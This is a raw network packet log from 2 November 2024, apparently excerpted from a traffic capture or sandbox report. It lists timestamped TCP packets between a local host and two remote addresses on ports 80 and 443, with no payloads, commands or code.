Nov 2, 2024 07:16:14.526947975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526957035 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526959896 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526982069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526984930 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526993990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526999950 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527005911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527028084 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527034998 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527045965 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527059078 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527067900 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527084112 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527199030 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527218103 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527229071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527236938 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527251959 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527266979 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527276039 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527287960 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527297974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527326107 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527334929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527345896 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527345896 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527364969 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527375937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527381897 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527388096 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527399063 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527419090 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527430058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527439117 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527451992 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527479887 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527482033 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527493000 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527513027 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527533054 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527599096 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527637005 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527645111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527654886 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527678013 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527689934 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527728081 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527740002 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527750969 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527776957 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527796030 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527908087 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527920008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527930021 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.527951002 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.527976036 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528136969 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528167009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528177977 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528203011 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528229952 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528242111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528253078 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528264046 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528274059 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528286934 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528290033 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528311968 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528335094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528342009 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528348923 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528388023 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528487921 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528498888 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528511047 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528522015 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528527975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528533936 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528557062 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528561115 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528570890 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528584957 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528589010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528597116 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528604031 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528614998 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528618097 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528626919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528630018 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528645039 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528646946 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528657913 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528670073 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528673887 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528681993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528688908 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528692961 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528704882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528712988 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528717995 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528738022 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528755903 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528763056 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528769016 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528789997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528789997 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528801918 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528814077 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.528816938 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528829098 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.528855085 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.592719078 CET	443	63825	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.593554020 CET	63825	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.593580961 CET	443	63825	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.594010115 CET	63825	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.594016075 CET	443	63825	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.607564926 CET	443	63826	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.608445883 CET	63826	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.608486891 CET	443	63826	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.608848095 CET	63826	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.608863115 CET	443	63826	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.643759966 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.643771887 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.643781900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.643826962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.643838882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.643845081 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.643851042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.643862963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.643882036 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.643892050 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.643903017 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.643915892 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.643927097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644028902 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644028902 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644028902 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644028902 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644028902 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644392967 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644494057 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644505024 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644515038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644532919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644539118 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644546032 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644556999 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644570112 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644576073 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644584894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644593954 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644596100 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644615889 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644638062 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644678116 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644689083 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644699097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644709110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644722939 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644726992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644740105 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644751072 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644752979 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644762039 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644762993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644774914 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644784927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644789934 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644802094 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644804955 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644817114 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644829035 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644829988 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644839048 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644853115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644855976 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644879103 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644881010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644893885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644901991 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644925117 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644937992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644947052 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644951105 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644963026 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644973040 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644978046 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644984007 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.644985914 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.644995928 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645010948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645013094 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645028114 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645040035 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645050049 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645052910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645056009 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645066977 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645076990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645088911 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645088911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645112038 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645133018 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645138979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645150900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645155907 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645162106 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645172119 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645186901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645195961 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645196915 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645229101 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645255089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645255089 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645266056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645276070 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645287991 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645299911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645302057 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645317078 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645345926 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645355940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645399094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645401955 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645411015 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645438910 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645450115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645474911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645486116 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645495892 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645505905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.645518064 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.645546913 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.678874969 CET	443	63828	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.679250002 CET	63828	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.679306030 CET	443	63828	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.679647923 CET	63828	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.679661989 CET	443	63828	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.691509008 CET	443	63827	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.691834927 CET	63827	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.691862106 CET	443	63827	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.692219019 CET	63827	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.692225933 CET	443	63827	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.692395926 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.692408085 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.692418098 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.692454100 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.692481995 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.692760944 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.692810059 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.692811012 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.692857981 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.692929983 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.692939997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.692956924 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.692967892 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.692977905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.692981958 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.692990065 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.692991018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693002939 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693017006 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693039894 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693074942 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693118095 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693183899 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693231106 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693243027 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693253040 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693273067 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693293095 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693294048 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693305016 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693324089 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693353891 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693403959 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693442106 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693450928 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693463087 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693473101 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693492889 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693512917 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693531990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693542957 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693553925 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693566084 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693577051 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693602085 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693664074 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693676949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693710089 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693711996 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693725109 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693742990 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693769932 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693800926 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693811893 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693824053 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693840981 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693841934 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693849087 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693850994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693864107 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693866014 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693886042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693886995 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693897009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693907976 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693909883 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693928957 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693929911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693958044 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693958044 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693970919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.693984985 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.693990946 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694003105 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694010019 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694015026 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694025993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694046974 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694057941 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694068909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694073915 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694089890 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694097042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694108009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694117069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694118023 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694133043 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694164038 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694197893 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694209099 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694219112 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694245100 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694271088 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694279909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694289923 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694328070 CET	63819	80	192.168.2.4	185.215.113.16
